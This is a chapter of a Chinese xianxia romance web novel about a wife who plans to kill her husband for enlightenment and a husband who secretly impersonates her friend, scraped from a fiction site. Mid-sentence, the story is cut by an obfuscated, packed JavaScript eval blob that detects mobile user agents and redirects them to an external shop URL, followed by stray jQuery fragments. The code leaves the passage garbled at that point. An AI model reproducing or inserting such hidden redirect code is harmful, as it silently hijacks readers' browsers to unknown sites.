文趣网 > 其他小说 > 妻子她要杀我证道 > 28. 一百个孩子
    慕容颜收到消息时很懵,还以为宁不回发错消息了。

    她打了个问号,在通讯牌上打下“为什么?”

    自己要杀夫证道的事情,宗门里掌门和宁良长老应该是能猜到的。

    宁不回身为宁良长老的弟子,为什么会劝自己和盛千秋离开呢?

    疑心此事有蹊跷,她又发了几条消息给宁不回,对面却好像人间蒸发了一样,任她怎么发都不回复。

    于是她给出师同门的沈玉发去了消息,“沈玉,你师弟没事吧。”

    一连等了半刻钟也无人回复,正当慕容颜准备起身去凌云峰时,通讯牌闪了两下。

    是沈玉发来的,“没事,不必担心。”

    她这才放下心来。

    “不要盯着通讯牌那么久,对眼睛不好。”声音自小厨房传来。

    盛千秋钓了一只不大不小的鲫鱼,眼下正在煲汤,香气自小厨房的窗户传进正厅,直勾得慕容颜流口水。

    “我忙着呢。”她不欲与他多说。

    汤被盛进一个瓦罐中,盛千秋端到桌案上,喊慕容颜过来吃饭。

    桌上摆满了她喜欢吃的菜肴,甚至还有一碗盛千秋研制的刨冰,丝丝冰沙覆盖在上面,透着冷气。

    无端让慕容颜想起了小时候读过的话本子。

    传说中有一位暴虐无度的帝王,每天要娶一位女子,次日清晨杀掉。

    直到丞相的女儿入宫,每日靠着给帝王讲故事,这些故事一个套一个,讲了一千零一个夜晚。

    帝王被她的智慧打动,彻底悔改。

    慕容颜感觉自己和这个帝王有些像,不过帝王暴虐,滥杀无辜,自己则是为了正道而出手,才不会对无辜之人动手。

    而盛千秋则像那个智慧的主角,每天靠着一些取巧的手段,延迟着她真正动手的时间。

    就这么想着,无意识地舀了一勺鱼汤往嘴里放。

    “阿颜,烫。”

    被青年提醒,她这才发现鱼汤还在冒着热气。

    “你今日怎么这么心不在焉。”

    盛着鱼汤的小碗被盛千秋拿过去,他用灵力将汤的温度降低了些才还给慕容颜。

    她没有回答。

    像是听不到盛千秋说话一样,她自顾自地一勺一勺舀着鱼汤往嘴里送。

    盛千秋像是被她这副样子逗笑,忍俊不禁。

    她心里冷冷翻了个白眼,都死到临头了还笑。

    饭毕,慕容颜便要去后山练剑,她特意叮嘱要自己练,让盛千秋不要跟着。

    龚穆山下的事情还没处理完,他发消息给慕容颜,让她稍安勿躁,有什么不懂的就问盛千秋。

    她无奈地回了个“哦。”

    盛千秋又不是她师父。

    她今日没再借盛千秋的白玉剑,而是从置物架上取了自己那柄木剑便去后山了。

    午后的太阳很是毒辣,即使有竹荫的遮蔽也不济。

    竹林正中央的巨石也被晒得很烫,慕容颜做足了心理准备才坐到上面。

    后山不愧是修炼圣地,灵气充沛。

    她盘膝坐在巨石上,开始感应天地灵气。

    在修炼一事上,慕容颜还算有天赋,只不过她是凡人,跟那些早已迈入修炼的人还是不能比。

    她闭目打坐许久,才感受到丹田处有些异动。

    一粒似是光又像是萤火的东西飘飘忽忽地在丹田正中悬着,慢悠悠地打着转。

    见状,她立刻按照引气诀中的指示来引导那粒光,耐心地控制它。

    偏那粒子好像与她玩游戏似的躲着她,漫无目的地在丹田附近转悠。

    少女也不气馁,继续控制着这粒光,不厌其烦地追逐着它的轨迹。

    慢慢,光的运行有了固定的轨迹,在丹田上方形成一个小小的漩涡。

    漩涡的中心先有了一个小裂缝,有什么东西从外面涌了进来,丝丝缕缕的,一股凉沁沁的感觉自她心头浮起。

    经脉被撑得发胀,隐隐作痛,但痛里又夹着一丝说不出来的畅快。

    正当她为自己的修为有了进步而高兴时,有一道凌然的剑意直冲她眉心而来。

    慕容颜陡然从识海中清醒,看清了来人。

    竟是沈玉。

    剑的方向偏移,随后她撞上了那双笑意不达眼底的眸子。

    “不错,进步很大。”

    慕容颜对他这突如其来的一剑很是恼火,气鼓鼓地瞪着他。

    自讨没趣的沈玉收了剑向她靠近,“怪我怪我。”

    只一靠近,慕容颜便能闻到他身上浓重的血腥味。

    “你受伤了?”

    她紧张地拉过他的手,上上下下打量。

    但对面的青年身上并无伤口,只是血腥味挥之不去。

    “没有受伤,我被师父叫去帮忙而已,这不是我的血。”他好笑地将慕容颜从自己身上拉开。

    他是偶然路过竹林的,今日一早便被宁良找去帮忙,眼下事情还没处理完,也没多留,只能跟慕容颜告别。

    沈玉要走的时候,一副欲言又止的样子。

    慕容颜看出了他今天的魂不守舍,“你怎么了,是有什么话要对我说吗?”

    他回答得很快,“没什么,我先走了。”

    见状,慕容颜只好止住了话头。

    *

    一直到回了望月台,她还在想这件事。

    她坐在桌案旁吃盛千秋刚下的阳春面,像小鸡啄米有一下没一下地进食。

    盛千秋坐在对面陪着她,多数时候,他其实对食物没什么兴趣,自从辟谷之后就没再下厨了。

    还是在慕容颜来了之后,自己才重拾起做饭这门手艺的。

    阳春面清淡,适合在比较热的天气吃,葱段漂浮在表面,外加一个大大的荷包蛋,很是诱人。

    见她还是心不在焉,青年忍不住开口,问她是不是不好吃。

    慕容颜摇摇头,“我只是在想事情。”

    两人做夫妻那么久,盛千秋还是第一次见到她这么专注地思考过。

    “什么事——还是杀夫证道那件事吗?”他语气戏谑,却并不认真,想来没把这件事当真。

    听见这话,慕容颜一口汤直呛嗓子眼,咳嗽个不停。

    男人立刻给她拍背顺气,“我错了。”

    拍了许久,慕容颜才止住咳嗽,她狠狠瞪了一眼盛千秋,放下筷子便回房间了。

    走得太快,只听见男人轻声说了一句“脾气真大”,她理也没理。

    她回的当然是那间没人住的小屋子。

    屋子小,床也小,床上的被子还被盛千秋收走了。

    她躺到床上,随意地将一条腿搭在另一条腿上,抖啊抖。

    无论是白天沈玉的状态,还是昨天晚上宁不回发的消息,都让她有些不安。

    慕容颜想了想,唤醒了绿戒里的剑灵,“传消息给沈玉,问问他白日里到底是怎么回事。”

    剑灵很听话,将消息传送了。

    不过传给的是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752796|208237||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    盛千秋,毕竟自己又不是沈玉的剑灵。

    正厅的盛千秋正忙着收拾残羹剩饭,识海里便传出一道少女的声音,俨然是慕容颜的声音。

    他放下手里的碗筷,想了想,回了一句,“没什么。”

    常言道说多错多,回一些模棱两可的话更保险一些。

    少女继续说:“昨天晚上宁不回给我发消息,让我跟盛千秋一起离开,我问什么他都不回——他是不是出什么事情了?”

    已是晚上,暮色覆盖了望月台。

    盛千秋视力极好,只点了根蜡烛在小厨房,昏黄的烛光为他镀上一层暖色。

    他想了想,回道:“别担心。”

    其实他对凌云峰的动向不甚清楚,宁良长老行事警惕,凌云峰上下连个多余的洒扫侍从都不要,所以他的眼线不好安插过去。

    云天掌门那倒是布了眼线,向他汇报时却没提起这回事,想来宁良长老并没有将有关侄子的事透露给掌门。

    不过宁良一向很重视自己这个侄子,宁不回最坏的结果也不过是被打骂一顿。

    “不愿意告诉我就算了!枉我还为你们担心。”

    顿了顿,盛千秋继续拿起碗清洗,没有回答。

    他巴不得慕容颜厌弃了沈玉,那等纨绔也敢染指她?

    沈玉被宗门里的弟子称为“玉人师兄”,盛千秋第一次听到这个称号时似笑非笑,这“玉人师兄”跟着自己师父做过的腌臜事不说百件,也有几十件了。

    师徒两人一个与掌门演友人情深,一个在宗门里扮演翩翩公子,不愧是一脉相承的好师徒。

    识海那头,久不见回应的少女声音又软下来,“你就告诉我吧,我保证不会那么脆弱,一击就倒的。”

    “颜颜,”盛千秋模仿着沈玉对她的称呼,“不说这个了,你在望月台可好?”

    像是怕这边的“沈玉”生气,那头明显想蒙混过关,“就那样吧,日子还得过下去,过一天是一天呗…”

    小屋的门没关,盛千秋的角度刚好能看到慕容颜,她胡乱躺着,一只脚搭在另一个膝头,吊儿郎当地晃啊晃,好不惬意。

    看来她对望月台,也对他,起码没那么排斥。

    “你呢?最近是不是很忙。”

    “还好,就是想你,”话一出口,盛千秋猛地从温情里面抽离,他现在是沈玉,怎么能说这种话,便又慌忙补充了一句,“想和颜颜有一百个孩子,然后隐居。”

    这道消息一传完,盛千秋就切断了剑灵的传信,面不红心不跳地将碗筷摆放好。

    小屋那头,慕容颜发出一声惊愕的呼叫,又迅速压低声音。

    男人闻言过去,便被她拉住,猝不及防地发问,“你会想要有一百个孩子吗?”

    漆黑的瞳孔转啊转,男人才不徐不疾地回答她。

    “即使生育是夫妻两人的事,但终究是在女子的身体里孕育生命,生不生孩子,生多少都理应由女子决定。”

    高下立见,这才是正常人的想法吧。

    “是谁和阿颜说起这回事的?”他语气平和,但后四个字却暴露了真实的想法,“插足我们婚姻,恬不知耻。”

    明明是在骂沈玉,慕容颜却也觉得自己被谴责了,下不来台。

    “没有谁,只有你一天天疑神疑鬼的…”

    她边说边走,声音越来越远了。

    盛千秋没拆穿,只盯着她背影送她走远。

    窗外黑漆漆的一片,无云,月亮却灰暗不明,蒙上了一层阴翳。